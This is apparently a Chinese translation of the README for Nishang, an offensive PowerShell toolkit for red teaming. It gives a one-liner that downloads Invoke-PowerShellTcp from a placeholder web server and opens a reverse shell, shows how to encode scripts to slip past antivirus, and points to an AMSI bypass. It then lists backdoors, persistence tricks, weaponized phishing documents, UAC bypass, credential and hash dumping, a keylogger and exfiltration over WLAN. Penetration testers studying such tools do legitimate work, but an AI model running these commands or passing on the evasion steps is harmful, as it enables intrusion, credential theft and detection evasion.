Nishang - 用于红队、渗透测试和攻击性安全的攻击性PowerShell。
作者:Nikhil Mittal Altered Security - 动手红队和企业安全培训! 创始人
在当前的 PowerShell 会话中导入所有脚本(PowerShell v3 及以上版本)。
PS C:\nishang> Import-Module .\nishang.psm1
使用点加载(dot sourcing)单独使用各个脚本。
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
要获取任何脚本或函数的帮助,请使用:
PS C:\nishang> Get-Help [脚本名称] -full
请注意,自 0.3.8 版本起,帮助信息适用于运行脚本后加载的函数,而非脚本本身。在所有情况下,函数名称与脚本名称相同。
例如,要查看 Get-WLAN-Keys.ps1 的帮助信息,请使用
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Nishang 脚本被许多防病毒软件标记为恶意。目标上的脚本旨在内存中执行,而使用 PowerShell 非常容易实现。两种在内存中执行 PowerShell 脚本的基本方法:
方法 1. 使用内存中下载并执行: 使用以下命令从远程 shell、meterpreter 原生 shell、web shell 等执行 PowerShell 脚本及其导出的函数。Nishang 中的所有脚本都在当前 PowerShell 会话中导出一个同名的函数。
powershell iex (New-Object Net.WebClient).DownloadString('http://<你的web服务器>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [端口号]
方法 2. 使用 PowerShell 的 -encodedcommand(或 -e)参数
Nishang 中的所有脚本都在当前 PowerShell 会话中导出一个同名的函数。因此,当从非 PowerShell shell 使用 encodedcommand 参数时,请确保函数调用已包含在脚本本身中。对于上述示例,添加一个函数调用(不带引号)"Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [端口号]"。
使用 Nishang 的 Invoke-Encode 对脚本进行编码:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
编码后的数据写入 .\encoded.txt 文件
编码后的命令写入 .\encodedcommand.txt 文件
从上述生成的文件中,使用 encodedcommand.txt 中的编码脚本,在能够执行命令的目标系统上运行(如远程 shell、meterpreter 原生 shell、web shell 等)。使用方式如下:
C:\Users\target> powershell -e [编码脚本]
如果脚本仍然被检测到,更改函数和参数名称并删除帮助内容会有帮助。
如果 Windows 10 的 AMSI 仍然阻止脚本执行,请参阅此博客:http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang 目前包含以下脚本和 payload。
修改 AD 对象以提供 DCShadow 所需的最小权限。
使用此 Web Shell 在内存中执行 PowerShell 脚本、运行命令以及下载和上传文件。
一个可以从第三方网站接收指令并在内存中执行 PowerShell 脚本的后门。
一个可以从 DNS TXT 查询中接收命令和 PowerShell 脚本,在目标上执行,并通过查询远程控制目标的后门。
一个可以在目标上指定时间执行 PowerShell 脚本的后门。
一个可以从 WLAN SSID 接收命令和脚本而无需连接该 SSID 的后门。
一个可以使用 Windows 屏幕保护程序进行远程命令和脚本执行的后门。
一个可以使用备用数据流和 Windows 注册表实现持久化的后门。
一个使用众所周知的调试器技巧,通过粘滞键和 Utilman(Windows 键 + U)执行 payload 的后门。
修改 DCOM 和 WMI 命名空间的权限,允许非管理员用户访问。
修改 PowerShell 远程处理的权限,允许非管理员用户访问。
绕过/避免 AMSI 的公开方法的实现。
创建可以执行 PowerShell 命令和脚本的感染性 CHM 文件。
创建 Word 文件并感染现有文件以运行 PowerShell 命令和脚本。
创建 Excel 文件并感染现有文件以运行 PowerShell 命令和脚本。
创建可部署在 Web 服务器上并用于钓鱼活动的 HTA 文件。
创建带签名的 JAR 文件,可与 applet 一起用于脚本和命令执行。
创建能够执行 PowerShell 命令和脚本的快捷方式文件。
创建用于钓鱼凭证和 SMB 哈希的 IQY 文件。
创建能够执行 PowerShell 命令和脚本的 JS 文件。
创建能够执行 PowerShell 命令和脚本的 SCT 文件。
创建可用于捕获 NTLM 哈希质询的 SCF 文件。
当需要 SYSTEM 权限时使用。
通过移除补丁引入漏洞。
绕过 UAC。
在内存中下载并执行 PowerShell 脚本。
以文本格式下载可执行文件,将其转换为可执行文件并执行。
在拥有足够权限的 MSSQL Server 上运行 PowerShell 命令、本机命令或 SQL 命令。
使用 DNS TXT 查询在内存中执行 shellcode。
使用 rundll32.exe 执行 PowerShell 命令和脚本或反向 PowerShell 会话。
检查是否为虚拟机。
使用卷影复制服务复制 SAM 文件。
诱骗用户以明文形式提供凭据。
用于出站测试的一对脚本。
从目标获取有价值的信息。
从目标获取 LSA 机密。
从目标获取密码哈希。
从目标以明文形式获取 WLAN 密钥。
记录目标的按键。
Invoke-MimikatzWdigestDowngrade
在 Windows 8.1 和 Server 2012 上以明文形式转储用户密码。
获取 Windows 用户的密码提示。
连接回来并使用 MJPEG 流式传输目标屏幕。
在内存中加载 mimikatz。已更新并带有一些自定义功能。
使用正则表达式从目标进程(如浏览器)内存中提取有价值的信息。
使用 WLAN SSID 渗出用户凭据等信息。